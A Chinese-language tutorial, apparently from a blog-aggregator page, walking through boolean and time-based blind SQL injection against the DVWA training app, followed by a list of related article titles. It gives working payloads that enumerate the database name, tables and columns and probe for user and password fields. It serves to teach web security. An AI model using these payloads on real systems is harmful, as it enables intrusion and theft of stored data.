DVWA之sql注入——盲注

article/2025/9/13 16:38:50

1.盲注

1.1 布尔盲注

布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。

1.判断是否存在注入,注入的类型

不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database.";两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。 

下面来演示一下盲注的过程:

2.猜解当前数据库名称

①猜解库名长度(二分法)

我们先猜测库名的长度大于10

于是构造payload:1' and length(database())>10#

但是结果显示missing

所以我们可以知道库名的长度比10要小

再次构造payload:1' and length(database())>5# 

结果还是missing

那这次用1' and length(database())>3#来试试 

结果显示exists

所以库名的长度在3-5之间

最后我们构造1' and length(database())=4#

显示exists,所以可以确定库名的长度为4

②判断数据库名称的字符组成元素 

既然我们知道数据库名有4个字符,那我们该如何确定具体的字符是什么呢?

我们可以在给定的字符串中利用substr()函数,从指定位置开始截取指定长度的字符串,分离出数据库名称的每 个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然 后各个击破。

substr()函数可以截取字符串,格式为substr(字符串,从第几个字符开始截取,截取的长度)

ascii()函数可以将字符转换为十进制数

ASCII码对照表 —在线工具 (sojson.com)

所以我们构造payload:1' and ascii(substr((select database()),1,1))>100#,这里我们同样用二分法

结果显示是missing

再次构造: 1' and ascii(substr((select database()),1,1))>50#

结果显示为exists,可知该ascii值在50到100之间

那我们再对其进行构造: 1' and ascii(substr((select database()),1,1))>75#

依然是exists,现在范围已经被我们逐渐缩小

经过不断测试,最终发现1' and ascii(substr((select database()),1,1))=100#是exists

所以第一个字符的ascii值为100,通过查找ascii表可知该字符为d

 

 那我们现在可以使用同样的方法对其他三个字符进行注入

最终可以注入出库名为dvwa

③判断表的数量

构造:1' and (select count(table_name) from information_schema.tables where table_schema=database())>5#

构造:1' and (select count(table_name) from information_schema.tables where table_schema=database())>2#

1' and (select count(table_name) from information_schema.tables where table_schema=database())>2#

所以我们可以知道dvwa库中有两张表

④猜解表名的长度

构造:1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10#

结果为missing

构造:1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

所以第一张表的长度在5-10之间

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#

所以可以知道第一张表长度为9,那第二张表的方法相同,最终猜解出长度为5

⑤判断表名的字符组成元素

我们就以第二张表为例,同样是使用substr()函数和ascii()函数的方法

构造:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100#

exists

再次构造:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>120#

所以范围在100-120之间

经过不断测试我们知道第一个字符的ascii值117

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#

 

查表可知第一个字符为u

 

 其他几个字符则不再演示,由我们上一篇文章已经知道该表为users

⑥猜解users表中字段个数

1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')>10#

1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')>5#

 

1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')=8#

可以知道users表中有8个字段

⑦猜解可能的字段

如果一个一个猜解其中的字段,那工作量十分巨大,现实的生产环境中可能有几十个字段,所以我们可以猜测其中可能存在的字段

比如:1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1;#

我们猜测其中有个字段为username,如果存在那就会返回exists

那我们再猜测可能有user字段 

 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1;#

所以存在user字段

同理我们也可以猜测是否有password字段

 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1;#

现在我们知道有user字段和password字段,那最后就是猜解字段值,和之前的方法相同,先是猜解长度,再逐个猜解字符,这个我们就不再演示了。

1.2 时间盲注

界面返回值只有一种 True,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数, 通过查看WEB页面返回的时间差来判断注入的语句是否正确。

猜解当前连接数据库的名称

对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间 的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1,此时不会执行sleep(n)函数。

构造:1' and if(length(database())=4,sleep(5),1);#

其实时间盲注和布尔盲注大体的思路差不多,只不过时间盲注得需要借助if()函数和sleep()函数

 

 

 

 

 

 

 

 

 

 

 

 

 


http://chatgpt.dhexx.cn/article/Kh1ICkCy.shtml

相关文章

SQL注入2——盲注(重学)

SQL注入——盲注 SQL注入——盲注 SQL注入——盲注一、布尔型盲注1、判断2、盲注库名3、盲注表名4、盲注列名5、盲注数据 时间型盲注总结 一、布尔型盲注 假如网站一定存在SQL注入,当注入SQL语句(1’ and 12#)之后,网站页面缺没有…

注入利用——盲注

盲注基本概念: 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。 基于布尔的盲注 Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库 中的相关信息。 …

SQL注入-布尔盲注

页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length(abc) -- 判断字符串长度 substr(abc,1,1) -- 截取字符串,从第1个字符开始截取,截取1个 第一步,判断注入类型…

SQL注入原理-时间盲注

小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注。 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1、判断是否存在注入点 2、使用时间盲注爆出数据 1、爆出当前数据库名的长度 2、爆出数…

sql注入之盲注相关知识

盲注 一.概念理解: 盲注(Blind SQL Injection ),就是在 sql 注入过程中, sql 语句执行之后, 数据不能回显到前端页面,需要利用一些方法进行判断或者尝试。 二.盲注基本条件: 自己可以控制输入 原程序要执行的代码拼接了用户输入的数据。 …

盲注--理论知识

盲注的简单定义: 我们在查询过程中,页面只有两种情况:“true”和“false”,要么有,要么没有;查询表的记录和语句错误也不会显示。这种状况下的注入,称为盲注。 盲注的关键点: 根据…

布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

「作者主页」:士别三日wyx 「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「专栏简介」:此文章已录入专栏《网络安全快速入门》 布尔盲注 一、适用环境二、盲注步骤三、原理分析1. 长度判断原理2. 穷举字…

SQL盲注(原理概述、分类)

盲注原理 盲注的分类 盲注常用函数 一、SQL盲注概述 盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注 1.如果数据库运行返回结…

盲注

目录 1、注入攻击的本质 2、盲注的介绍 (一)布尔盲注 (二)时间盲注 3、盲注常用方法 (一)length()函数 (二)substr()截取字符串…

SQL注入-盲注(布尔盲注与时间盲注)

目录 一、什么是盲注 二、盲注的分类 三、利用盲注的前提条件 四、盲注的优缺点 五、基于布尔类型的盲注 1.什么情况下使用布尔类型的盲注 2.使用布尔类型盲注的操作步骤: 3.布尔类型盲注的操作过程(以获取当前数据库为例) 4.使用其他…

详述ROWID的原理及其使用

ROWID基础概念 在Oracle内部,每个数据表都有一个伪列ROWID,用于存放被称为ROWID的二进制值。每个ROWID代表了一行数据的存储地址。物理ROWID能够标识普通数据表中的一行信息。其中ROWID类型只能存储物理内容,而UROWID(universal rowid)类型可…

Oracle中ROWNUM伪列和ROWID伪列的用法与区别

做过Oracle分页的人都知道由于Oracle中没有像MySql中limit函数以及SQLServer中的top关键字等,所以只能通过伪列的方式去满足分页功能,在此,不谈分页方法,只从根本上去介绍这两个伪列的用法与原理,同样还是以scott用户的…

Silverlight MMORPG WebGame游戏设计(二)--通讯协议之惑

晚上看到我在silverlight webGame上的导师"深蓝色右手"拿到 荣誉,觉得他名至实归。回想自己2010过年来到北京忙于一些琐屑的事情,好久没有动手写我的web传奇了。 去年在群里说我过年要开源我的Web传奇,写一些服务端的文章。后来我发…

amf webgame

一篇来自职业欠钱哥哥的东西,很有帮助。 这两年WebGame比较火,WebGame中,前端用Flash表现比较多,而服务器端依然是Web应用。 不少产品已经开始用AMF(Action Message Format)来取代标准的HTTP交互。&#xf…

webgame《天龙诀》完整网页游戏源码

webgame 天龙诀源码,网页端使用了Flash游戏引擎,服务端c开发,解压后488mb,仅供学习参考,请勿用于商业用途。 天龙诀剧情情节扣人心弦,让各位玩家身临其境,化身门派高手经历艰难险阻、感受受生死…

[转]用python来开发webgame服务端(4)

[刺鸟原创文章,转载请注明出处] 前面的工作都已准备就绪,现在我们得来看看服务端怎么和客户端之间进行通信了,Python和FLASH之间的通信,我整理为以下3种: 1、用现成的协议及类库处理,比如:py…

[转]用python来开发webgame服务端(2)

[刺鸟原创文章,转载请注明出处] 就在刚才,我们用基于python下的Twisted库写了一个简单的socket服务器,不知道它的性能和基本的承载到底如何呢?接下来,我们作一个简单的测试。 说是简单的测试,一点也不假…

转:: 刺鸟:用python来开发webgame服务端(1)

来源:http://ciniao.me/article.php?id9 --------------- 刺鸟原创文章,转载请注明出处 在开始之前,先简单描述一下项目的特点:我要实现的是一个mmorpg的webgame,地图上需要看到其他的玩家,战斗系统采用…

转:: 刺鸟:用python来开发webgame服务端(4)

来源:http://ciniao.me/article.php?id14 --------------- 刺鸟原创文章,转载请注明出处 前面的工作都已准备就绪,现在我们得来看看服务端怎么和客户端之间进行通信了,Python和FLASH之间的通信,我整理为以下3种&am…

[转]用python来开发webgame服务端(3)

[刺鸟原创文章,转载请注明出处] 在之前的准备工作中,我们已经建立了一个socket服务器,并且经过了简单的测试,得到的结论是python可以满足我们的需求,那么接下来,我们要解决的是身为webgame服务端必须的几个…